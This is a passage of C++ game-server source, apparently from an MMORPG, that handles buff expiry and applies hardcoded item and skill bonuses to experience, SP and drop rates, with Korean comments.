ret;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase MST_OTHER_INSTANTDEATH:\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tch->m_hp = 0;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n#ifdef REFORM_PK_PENALTY_201108\n\t\t\t\t\t\tcase MST_OTHER_PK_DISPOSITION:\n\t\t\t\t\t\t\tswitch( slp->m_magic[i]->m_damagetype )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase MDT_ADDITION:\n\t\t\t\t\t\t\t\tch->m_assist.m_avAddition.pkDispositionPointValue = 0;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase MDT_RATE:\n\t\t\t\t\t\t\t\tch->m_assist.m_avRate.pkDispositionPointValue = 0;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n#endif // REFORM_PK_PENALTY_201108\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse if(slp->m_magic[i]->m_type == MT_ATTRIBUTE && slp->m_magic[i]->m_subtype == AT_RANDOM)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(slp->m_magic[i]->m_damagetype == MDT_ATTACK)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tch->m_assist.m_avAddition.attratt_item = 0;\n\n\t\t\t\t\t\t\tif(IS_PC(ch) == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tCPC* pc = TO_PC(ch);\n\t\t\t\t\t\t\t\tpc->m_bChangeStatus = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if(IS_NPC(ch) == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tCNPC* npc = TO_NPC(ch);\n\t\t\t\t\t\t\t\tunsigned char attr;\n\n\t\t\t\t\t\t\t\tif(ch->m_assist.getAttrAtt() > 0)\n\t\t\t\t\t\t\t\t\tattr = ch->m_assist.getAttrAtt();\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tattr = npc->m_proto->m_attratt;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\t\t\t\t\t\t\tUpdateClient::AttrNpcStateMsg(rmsg, MDT_ATTACK, attr, ch->m_index);\n\t\t\t\t\t\t\t\tch->m_pArea->SendToCell(rmsg, ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if(slp->m_magic[i]->m_damagetype == MDT_DEFENCE)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tch->m_assist.m_avAddition.attrdef_item = 0;\n\n\t\t\t\t\t\t\tif(IS_PC(ch) == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tCPC* pc = TO_PC(ch);\n\t\t\t\t\t\t\t\tpc->m_bChangeStatus = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if(IS_NPC(ch) == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tCNPC* npc = TO_NPC(ch);\n\t\t\t\t\t\t\t\tunsigned char attr;\n\n\t\t\t\t\t\t\t\tif(ch->m_assist.getAttrDef() > 0)\n\t\t\t\t\t\t\t\t\tattr = ch->m_assist.getAttrDef();\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tattr = npc->m_proto->m_attrdef;\n\n\t\t\t\t\t\t\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\t\t\t\t\t\t\tUpdateClient::AttrNpcStateMsg(rmsg, MDT_DEFENCE, attr, ch->m_index);\n\t\t\t\t\t\t\t\tch->m_pArea->SendToCell(rmsg, ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\ti++;\n\t\t\t\t}\n\n\t\t\t\tif(data->m_proto->m_index == 1759)\n\t\t\t\t{\n\t\t\t\t\tCPC* pc = TO_PC(ch);\n\t\t\t\t\tpc->m_gpsManager.deleteTarget();\n\t\t\t\t}\n\n\t\t\t\tDelAssist(data, true, ch, true);\n\t\t\t\tret = true;\n\n\t\t\t\tif( bInfinite )\n\t\t\t\t{\n\t\t\t\t\tCSkill *pSkill = gserver->m_skillProtoList.Create( old_skillIndex , old_skillLevel );\n\t\t\t\t\tif( pSkill )\n\t\t\t\t\t{\n\t\t\t\t\t\tbool bApply = false ;\n\t\t\t\t\t\tApplySkill( ch, ch, pSkill, old_itemIndex , bApply );\n\t\t\t\t\t\tif(bApply == true)\n\t\t\t\t\t\t\treturn ret;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif( old_skillIndex == 490 && gserver->isActiveEvent( A_EVENT_XMAS)  )\n\t\t\t\t{\n\t\t\t\t\tCSkill *pSkill = gserver->m_skillProtoList.Create( old_skillIndex , 1 );\n\t\t\t\t\tif( pSkill )\n\t\t\t\t\t{\n\t\t\t\t\t\tbool bApply = false ;\n\t\t\t\t\t\tApplySkill( ch, ch, pSkill, -1 , bApply );\n\t\t\t\t\t\tif( !bApply )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tGAMELOG << init(\" EVENT XMAS SKILL FAILED \" ) << ch->m_name << end;\t// \uc2a4\ud0ac \uc801\uc6a9 \uc2e4\ud328\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\t\t\t\t\n\t\t\t}\n\t\t\t//\uc2dc\uac04\uc774 \ub05d\ub0ac\uace0 \uc5b4\ub514\uc5d0 \uc788\uc73c\uba74\n\t\t\tif( sp->m_index == 1751 )\n\t\t\t{\n\t\t\t\tif(IS_NPC(ch))\n\t\t\t\t{\n\t\t\t\t\tCNPC* npc = TO_NPC(ch);\n\t\t\t\t\tnpc->m_ctTime = IMMUN_SKILL_MCT_TIME;\n\t\t\t\t\tgserver->m_npc_ctTime.insert(std::pair<int, CNPC*>(npc->m_index, npc));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif( sp->m_index == PVP_PROTECT_SKILL_INDEX )\n\t\t\t{\n\t\t\t\tCPC* pc = TO_PC(ch);\n\t\t\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\t\t\tSysMsg(rmsg, MSG_SYS_PVP_PROTECT_ITEM_END);\n\t\t\t\tSEND_Q(rmsg, pc->m_desc);\n\t\t\t}\n\t\t}\n\t}\n\treturn ret;\n}\n\nvoid CAssistList::Apply(CCharacter* ch, ASSISTVALUE* addition, ASSISTVALUE* rate, LONGLONG* state)\n{\n\tCAssistData* p;\n\tconst CSkillProto* sp;\n\tconst CSkillLevelProto* slp;\n\tconst CMagicProto* mp;\n\tconst CMagicLevelProto* mlp;\n\tint i;\n\n\tfor (p = m_head; p; p = p->m_next)\n\t{\n\t\tsp = p->m_proto;\n\t\tif (sp == NULL)\n\t\t\tcontinue;\n\t\tslp = sp->Level(p->m_level);\n\t\tif (slp == NULL)\n\t\t\tcontinue;\n\n\t\t// TODO : \ud558\ub4dc\ucf54\ub529\uc6a9\n\n\t\tbool bSkip = false;\n\n\t\t// \uc544\uc774\ud15c \uc778\ub371\uc2a4 \ud558\ub4dc \ucf54\ub529\n\t\tswitch (p->m_index)\n\t\t{\n\t\tcase 2388:\n\t\t\taddition->hcExpPlus_2388 += 100;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t// Poem book\n\t\tcase 2389:\n\t\t\taddition->hcExpPlus_2389 += 50;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t// Blessing of Mother( Blue )\n\t\tcase 2390:\n\t\t\taddition->hcSPPlus_2390 += 100;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t// Blessing of Mother( Yellow )\n\t\tcase 2391:\n\t\t\taddition->hcDropPlus_2391 = true;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t// Blessing of Mother( Red )\n\t\tcase 671:\n\t\tcase 7271:\n\t\t\taddition->hcDeathExpPlus = 1;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \ud558\uae09 \uacbd\ud5d8\uc758 \uacb0\uc815\n\t\tcase 672:\n\t\tcase 7272:\n\t\t\taddition->hcDeathExpPlus = 2;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \uc911\uae09 \uacbd\ud5d8\uc758 \uacb0\uc815\n\t\tcase 673:\n\t\tcase 7273:\n\t\t\taddition->hcDeathExpPlus = 3;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \uc0c1\uae09 \uacbd\ud5d8\uc758 \uacb0\uc815\n\t\tcase 674:\n\t\t\taddition->hcDeathSPPlus = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \ub178\ub825\uc758 \uacb0\uc815\n\t\tcase 508:\n\t\t\taddition->hcExpPlus = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \ub5a1\uad6d\n\t\tcase 509:\n\t\t\taddition->hcSPPlus = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \ub5a1\ub9cc\ub450\uad6d\n\t\tcase 836:\n\t\t\taddition->hcExpPlus_836 = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \uc218\ubc15\n\t\tcase 5082:\n\t\tcase 837:\n\t\t\taddition->hcSPPlus_837 = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \ucc38\uc678\n\t\tcase 838:\n\t\t\taddition->hcDropPlus_838 = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \uc790\ub450\n\t\tcase 884:\n\t\t\taddition->hcSepDrop = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\n\t\tcase 882:\n\t\t\taddition->hcSepExp = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\n\t\tcase 883:\n\t\t\taddition->hcSepSP = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\n\t\tcase 885:\n\t\t\taddition->hcSepNas = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\n\t\t// >> [100823: selo] \uc720\ub8cc \uc99d\ud3ed\uc81c\n\t\tcase 6094:\n\t\t\taddition->hcSepExp_Cash = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\n\t\tcase 6095:\n\t\t\taddition->hcSepSP_Cash = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\n\t\tcase 6096:\n\t\t\taddition->hcSepDrop_Cash = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\n\t\t// << [100823: selo] \uc720\ub8cc \uc99d\ud3ed\uc81c\n\t\tcase 971:\t\t// \uacbd\ud5d8\uc758\uc2a4\ud06c\ub864\n\t\tcase 2499:\t\t// \uc77c\ubcf8 \uacbd\ud5d8\uc758\uc2a4\ud06c\ub864 \ubcf5\uc0ac\ubcf8\n\t\t\taddition->hcScrollExp = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\n\t\tcase 5081:\n\t\t\taddition->hcScrollDrop_5081 = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t// \ubcf5\uc6b4\uc758 \uc2a4\ud06c\ub864\n\t\tcase 5080: // 5080\uac15\uc6b4\uc758 \uc2a4\ud06c\ub864\uacfc \ubcc0\uc218\ub97c \uac19\uc774 \uc0ac\uc6a9\ud55c\ub2e4.\n\t\tcase 972:\n\t\t\taddition->hcScrollDrop = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \ud589\uc6b4\uc758\uc2a4\ud06c\ub864\n\n\t\tcase 973:\n\t\t\taddition->hcScrollSP = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \ub178\ub825\uc758\uc2a4\ud06c\ub864\n\n\t\tcase 792:\n\t\t\taddition->hcAttackTower = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \uc11d\uc0c1 \uacf5\uaca9\uc2dc \ub300\ubbf8\uc9c0 2\ubc30\n\n\t\tcase 1628:\n\t\t\taddition->hcSPPlusPer100 += 50;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \ub2ec\ucf64\ud55c \ucc38\uc678\n\t\tcase 1629:\n\t\t\taddition->hcDropPlusPer100 += 100;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \uc0c8\ucf64\ud55c \uc790\ub450\n\t\tcase 1627:\n\t\tcase 2494:\t\t// \uc77c\ubcf8 \uc798\uc775\uc740 \uc218\ubc15 \ubcf5\uc0ac\ubcf8\n\t\t\taddition->hcExpPlusPer100 += 20;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \uc798\uc775\uc740 \uc218\ubc15\n\t\tcase 1630:\n\t\t\taddition->hcExpPlusPer100 += 20;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \ucd95\ubcf5\uc758 \ubb3c\ubcd1\n\t\tcase 1975:\t\t// \ucf00\uc774\ud06c\n\t\tcase 2495:\t\t// \uc77c\ubcf8 \ucf00\uc774\ud06c \ubcf5\uc0ac\ubcf8\n\t\tcase 5084:\n\t\t\taddition->hcExpPlus_1975 = 30;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \ucf00\uc774\ud06c : 2006 \ud06c\ub9ac\uc2a4\ub9c8\uc2a4\n\t\tcase 1976:\t\t// \ub208\uc0ac\ub78c\n\t\tcase 2498:\t\t// \uc77c\ubcf8 \ub208\uc0ac\ub78c \ubcf5\uc0ac\ubcf8\n\t\tcase 5083:\n\t\t\taddition->hcExpPlus_1976 = 100;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \ub208\uc0ac\ub78c : 2006 \ud06c\ub9ac\uc2a4\ub9c8\uc2a4\n\n\t\tcase 2582:\n\t\tcase 2583: // \ud6c8\ub828 \uc8fc\ubb38\uc11c\uc640 \ub3d9\uc77c\ud55c 15% \uc0c1\uc2b9.\n\t\tcase 2139:\n\t\t\taddition->hcSPPlusPer100 += 15;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \ud6c8\ub828\uc8fc\ubb38\uc11c\n\t\tcase 2140:\n\t\t\taddition->hcSPPlusPer100 += 50;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \ud50c\ub798\ud2f0\ub118 \ud6c8\ub828\uc8fc\ubb38\uc11c\n\t\tcase 4937:\n\t\t\taddition->hcSPPlusPer100 += 50;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// (\uc774\ubca4\ud2b8\uc6a9)\ud50c\ub798\ud2f0\ub118 \ud6c8\ub828\uc8fc\ubb38\uc11c\n\t\tcase 2141:\n\t\t\taddition->hcDropPlus_2141 = true;\n\t\t\tbSkip = true;\n\t\t\tbreak ;\t\t// \ud589\uc6b4 \uc8fc\ubb38\uc11c\n\n#ifdef PLATINUM_SKILL_POTION_ITEM\n\t\tcase 2453:\n\t\t\taddition->hcSPPlusPer100 += 200;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t\t// \ud50c\ub798\ud2f0\ub284 \uc219\ub828 \ubb18\uc57d\n#endif // PLATINUM_SKILL_POTION_ITEM\n\t\tcase 2659:\n\t\t\taddition->hcSPPlusPer100 += 200;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t\t// \ucd08\ubcf4\uc790\uc6a9 \ud50c\ub798\ud2f0\ub284 \uc219\ub828\uc758 \ubb18\uc57d\n\t\tcase 5088:\n\t\t\taddition->hcSPPlusPer100 += 200;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t\t// \ud50c\ub798\ud2f0\ub284 \uc219\ub828\uc758 \ubb18\uc57d (LV1)\n\t\tcase 5089:\n\t\t\taddition->hcSPPlusPer100 += 200;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t\t// \ud50c\ub798\ud2f0\ub284 \uc219\ub828\uc758 \ubb18\uc57d (LV31)\n\t\tcase 5090:\n\t\t\taddition->hcSPPlusPer100 += 200;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t\t// \ud50c\ub798\ud2f0\ub284 \uc219\ub828\uc758 \ubb18\uc57d (LV61)\n\t\tcase 7611:\n\t\t\taddition->hcSPPlusPer100 += 200;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t\t// [\uc774\ubca4\ud2b8]\ud50c\ub798\ud2f0\ub284 \uc219\ub828\uc758 \ubb18\uc57d\n#ifdef SKILL_POTION_ITEM\n\t\tcase 2452:\n\t\t\taddition->hcSPPlusPer100 += 100;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t\t// \uc219\ub828\uc758 \ubb18\uc57d\n#endif // SKILL_POTION_ITEM\n\t\tcase 2358:\n\t\t\taddition->hcCashPetExpUp_2358 = true;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t\t// \ud3ab \uacbd\ud5d8\uc758 \ubb18\uc57d\n\t\tcase 2359:\n\t\t\taddition->hcCashPetExpUp_2359 = true;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t\t// \ud50c\ub798\ud2f0\ub284 \ud3ab \uacbd\ud5d8\uc758 \ubb18\uc57d\n\t\tcase 2356:\n\t\tcase 2841:\n\t\tcase 6596:\n\t\t\taddition->hcMPSteelPotion = true;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t\t\t// \uc77c\ubc18 \uacf5\uaca9\uc2dc 30%\uc758 Max MP \uc911 10% \uac10\uc18c \ub418\uace0 \ub098\uc758 MP \uc99d\uac00\n\t\tcase 2357:\n\t\tcase 2842:\n\t\tcase 6597:\n\t\t\taddition->hcHPSteelPotion = true;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t\t\t// \uc77c\ubc18 \uacf5\uaca9\uc2dc 30%\uc758 Max HP \uc911 5% \uac10\uc18c \ub418\uace0 \ub098\uc758 HP \uc99d\uac00\n\t\tcase 2410:\n\t\tcase 2354:\n\t\t\taddition->hcExpSPPlus_2354\t= true;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t\t// \uc904\ubb34\ub2ac \uc131\uc870\uae30(\ube0c\ub77c\uc9c8 \uad6d\uae30): 50% EXP + 50% SP\n\t\tcase 2853:\n\t\t\taddition->hcAttackBerserker = true;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t\t// 10% \ud655\ub960\ub85c 2\ubc30 \ub370\ubbf8\uc9c0\n\t\tcase 2870:\n\t\t\taddition->hcExplimitPlus\t= 50;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t\t// 50% \uacbd\ud5d8\uce58 \uc81c\ud55c 50% \ud574\uc81c\n\t\tcase 2855:\n\t\t\taddition->hcPlatinumDrop\t= true;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t\t// \ub4dc\ub86d\uc728 20\ubc30 \uc99d\uac00\n\t\tcase 2856:\n\t\t\taddition->hcPlatinumScroll\t= true;\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\t\tcase 7054:\n\t\t\taddition->hcCashPetExpUp_2359 = true;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t// [\uc774\ubca4\ud2b8] \ud50c\ub798\ud2f0\ub284 \ud3ab \uacbd\ud5d8\uc758 \ubb18\uc57d\n\t\tcase 7344:\n\t\t\taddition->hcPetExpBoost = true;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t// \ud3ab \uacbd\ud5d8\uce58 \uc99d\ud3ed\uc81c\n\t\tcase 7345:\n\t\tcase 7346:\n\t\t\taddition->hcIrisFervor = true;\n\t\t\tbSkip = true;\n\t\t\tbreak;\t// \uc544\uc774\ub9ac\uc2a4\uc758 \uc5f4\uc815\n\t\t}\n\n\t\t// 060227 : bs : \uc2a4\ud0ac \uc778\ub371\uc2a4 \ud558\ub4dc \ucf54\ub529\n\t\tswitch (p->m_proto->m_index)\n\t\t{\n\t\tcase 348:\n\t\tcase 349:\n\t\t\tmp = slp->m_magic[0];\t\t\t\t\t\t\t\t\t\t\t// 060227 : bs : \uc720\ub8cc\uc544\uc774\ud15c \uacbd\ud5d8\uce58 \uc0c1\uc2b9\n\t\t\tif (mp)\n\t\t\t{\n\t\t\t\tmlp = mp->Level(slp->m_magicLevel[0]);\n\t\t\t\tif (mlp)\n\t\t\t\t{\n\t\t\t\t\tif (rate->hcCashExpUp < mlp->m_nPowerValue)\n\t\t\t\t\t\trate->hcCashExpUp = mlp->m_nPowerValue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\n\t\tcase 350:\n\t\t\tmp = slp->m_magic[0];\t\t\t\t\t\t\t\t\t\t\t// 060227 : bs : \uc720\ub8cc\uc544\uc774\ud15c HP \ud655\uc7a5\n\t\t\tif (mp)\n\t\t\t{\n\t\t\t\tmlp = mp->Level(slp->m_magicLevel[0]);\n\t\t\t\tif (mlp)\n\t\t\t\t{\n\t\t\t\t\tif (rate->hcCashMaxHPUp < mlp->m_nPowerValue)\n\t\t\t\t\t\trate->hcCashMaxHPUp = mlp->m_nPowerValue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\n\t\tcase 351:\n\t\t\tmp = slp->m_magic[0];\t\t\t\t\t\t\t\t\t\t\t// 060227 : bs : \uc720\ub8cc\uc544\uc774\ud15c MP \ud655\uc7a5\n\t\t\tif (mp)\n\t\t\t{\n\t\t\t\tmlp = mp->Level(slp->m_magicLevel[0]);\n\t\t\t\tif (mlp)\n\t\t\t\t{\n\t\t\t\t\tif (rate->hcCashMaxMPUp < mlp->m_nPowerValue)\n\t\t\t\t\t\trate->hcCashMaxMPUp = mlp->m_nPowerValue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\n\t\tcase 352:\n\t\t\tfor (i = 0; i < 2; i++)\t\t\t\t\t\t\t\t\t\t\t// 060227 : bs : \uc720\ub8cc\uc544\uc774\ud15c HP/MP \ud655\uc7a5\n\t\t\t{\n\t\t\t\tmp = slp->m_magic[i];\n\t\t\t\tif (mp)\n\t\t\t\t{\n\t\t\t\t\tmlp = mp->Level(slp->m_magicLevel[i]);\n\t\t\t\t\tif (mlp)\n\t\t\t\t\t{\n\t\t\t\t\t\tswitch (mp->m_subtype)\n\t\t\t\t\t\t{\n\t\t\t\t\t\tcase MST_STAT_MAXHP:\n\t\t\t\t\t\t\tif (rate->hcCashMaxHPUp < mlp->m_nPowerValue)\n\t\t\t\t\t\t\t\trate->hcCashMaxHPUp = mlp->m_nPowerValue;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase MST_STAT_MAXMP:\n\t\t\t\t\t\t\tif (rate->hcCashMaxMPUp < mlp->m_nPowerValue)\n\t\t\t\t\t\t\t\trate->hcCashMaxMPUp = mlp->m_nPowerValue;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\n\t\tcase 354:\n\t\t\taddition->hcExpPlus_S354 = true;\t\t\t\t\t\t\t\t// \uacbd\ud5d8\uce58 \ud3ec\uc158 : \uc2a4\ud0ac 354, 1.5\ubc30 \uc0c1\uc2b9\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\n\t\tcase 355:\n\t\t\taddition->hcExpPlus_S355 = true;\t\t\t\t\t\t\t\t// \ucd94\ucc9c \uc11c\ubc84 \ud3ec\uc158 \uacbd\ud5d8\uce58 \uc0c1\uc2b9\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\n\t\tcase 356:\n\t\t\taddition->hcSPPlus_S356 = true;\t\t\t\t\t\t\t\t\t// \ucd94\ucc9c \uc11c\ubc84 \ud3ec\uc158 SP \uc0c1\uc2b9\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\n\t\tcase 360:\n\t\t\taddition->hcDropPlus_S360 = true;\t\t\t\t\t\t\t\t// \ucd94\ucc9c \uc11c\ubc84 \ud3ec\uc158 \ub4dc\ub86d\uc728 \uc0c1\uc2b9\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\n\t\tcase 379:\n\t\t\tmp = slp->m_magic[0];\t\t\t\t\t\t\t\t\t\t\t// \ud0dc\uad6d \uacbd\ud5d8\uce58 \uc0c1\uc2b9 \ud3ec\uc158\n\t\t\tif (mp)\n\t\t\t{\n\t\t\t\tmlp = mp->Level(slp->m_magicLevel[0]);\n\t\t\t\tif (mlp)\n\t\t\t\t{\n\t\t\t\t\taddition->hcExpPlusPer100 += mlp->m_nPowerValue;\t\t\t\t// \ud0dc\uad6d \uacbd\ud5d8\uce58 \uc0c1\uc2b9 \ud3ec\uc158\n\t\t\t\t}\n\t\t\t}\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\n\t\tcase 398:\n\t\t\tmp = slp->m_magic[0];\t\t\t\t\t\t\t\t\t\t\t// (\uc720\ub8cc)\uacbd\ud5d8\uce58 \ud3ec\uc158 : 1840, 1841, 1842\n\t\t\tif (mp)\n\t\t\t{\n\t\t\t\tmlp = mp->Level(slp->m_magicLevel[0]);\n\t\t\t\tif (mlp)\n\t\t\t\t{\n\t\t\t\t\taddition->hcExpPlus_398 = mlp->m_nPowerValue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\n\t\tcase 418:\n\t\t\tmp = slp->m_magic[0];\t\t\t\t\t\t\t// \ub7ed\ud0a4 \uc18c\uc6b8 \ub2c9\uc2a4\n\t\t\tif( mp )\n\t\t\t{\n\t\t\t\tmlp = mp->Level(slp->m_magicLevel[0]);\n\t\t\t\tif( mlp )\n\t\t\t\t{\n\t\t\t\t\taddition->HitRate_2033 = mlp->m_nPowerValue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\t\tcase 419:\n\t\t\tmp = slp->m_magic[0];\t\t//\ub7ed\ud0a4 \ub2e4\uc9c0 \ud53c\uc5b4\n\t\t\tif( mp )\n\t\t\t{\n\t\t\t\tmlp = mp->Level(slp->m_magicLevel[0]);\n\t\t\t\tif( mlp )\n\t\t\t\t{\n\t\t\t\t\taddition->Avoid_2034 = mlp->m_nPowerValue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\t\tcase 424 :\t\t//\ud798\uc758 \ub7ec\ube0c\ub9e4\uc9c1\n\t\t\tif( gserver->isActiveEvent(A_EVENT_WHITE_DAY) || gserver->isActiveEvent(A_EVENT_MAGIC_CARD) )\n\t\t\t\tCOption::ApplyOptionValue( (CPC*)ch, OPTION_STR_UP, 20, NULL);\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\t\tcase 425 :\t\t//\ubbfc\ucca9\uc758 \ub7ec\ube0c\ub9e4\uc9c1\n\t\t\tif( gserver->isActiveEvent(A_EVENT_WHITE_DAY) || gserver->isActiveEvent(A_EVENT_MAGIC_CARD) )\n\t\t\t\tCOption::ApplyOptionValue( (CPC*)ch, OPTION_DEX_UP, 20, NULL);\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\t\tcase 426 :\t\t//\uc9c0\ud574\uc758 \ub7ec\ube0c\ub9e4\uc9c1\n\t\t\tif( gserver->isActiveEvent(A_EVENT_WHITE_DAY) || gserver->isActiveEvent(A_EVENT_MAGIC_CARD) )\n\t\t\t\tCOption::ApplyOptionValue( (CPC*)ch, OPTION_INT_UP, 20, NULL);\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\t\tcase 427 :\t\t//\uccb4\uc9c8\uc758 \ub7ec\ube0c\ub9e4\uc9c1\n\t\t\tif( gserver->isActiveEvent(A_EVENT_WHITE_DAY) || gserver->isActiveEvent(A_EVENT_MAGIC_CARD) )\n\t\t\t\tCOption::ApplyOptionValue( (CPC*)ch, OPTION_CON_UP, 50, NULL);\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\t\tcase 428 :\n\t\t\tif( gserver->isActiveEvent(A_EVENT_WHITE_DAY) || gserver->isActiveEvent(A_EVENT_MAGIC_CARD) )\n\t\t\t\taddition->bRorainOfLoveMagic = true;\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\n\t\tcase 433:\t// \uac74\uac15\uc758 \ubb3c\uc57d\n\t\t\tch->cooltime_2142 = gserver->getNowSecond() + 2*60*60;\n\t\t\tbreak;\n\t\tcase 434:\t// \uc9c0\ub825\uc758 \ubb3c\uc57d\n\t\t\tch->cooltime_2143 = gserver->getNowSecond() + 2*60*60;\n\t\t\tbreak;\n\t\tcase 465:\n\t\t\tch->m_cooltime_Competition = gserver->getNowSecond() + 30 * 60;\n\t\t\tbreak;\n\t\tcase 470:\t// \ud560\ub85c\uc708 \uc774\ubca4\ud2b8 \ucd5c\ub300 HP \ubcc0\ud654\n\t\t\tif( gserver->isActiveEvent(A_EVENT_HALLOWEEN) )\n\t\t\t{\n\t\t\t\tmp = slp->m_magic[0]; // \ucd5c\ub300 HP \uac10\uc18c\n\t\t\t\tif (mp)\n\t\t\t\t{\n\t\t\t\t\tmlp = mp->Level(slp->m_magicLevel[0]);\n\t\t\t\t\tif (mlp)\n\t\t\t\t\t{\n\t\t\t\t\t\trate->hcEventHalloweenMaxHP = mlp->m_nPowerValue;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tmp = slp->m_magic[1]; // \uc774\ub3d9\uc18d\ub3c4 \uac10\uc18c\n\t\t\t\tif (mp)\n\t\t\t\t{\n\t\t\t\t\tmlp = mp->Level(slp->m_magicLevel[1]);\n\t\t\t\t\tif (mlp)\n\t\t\t\t\t{\n\t\t\t\t\t\trate->hcEventHalloweenSpeed = 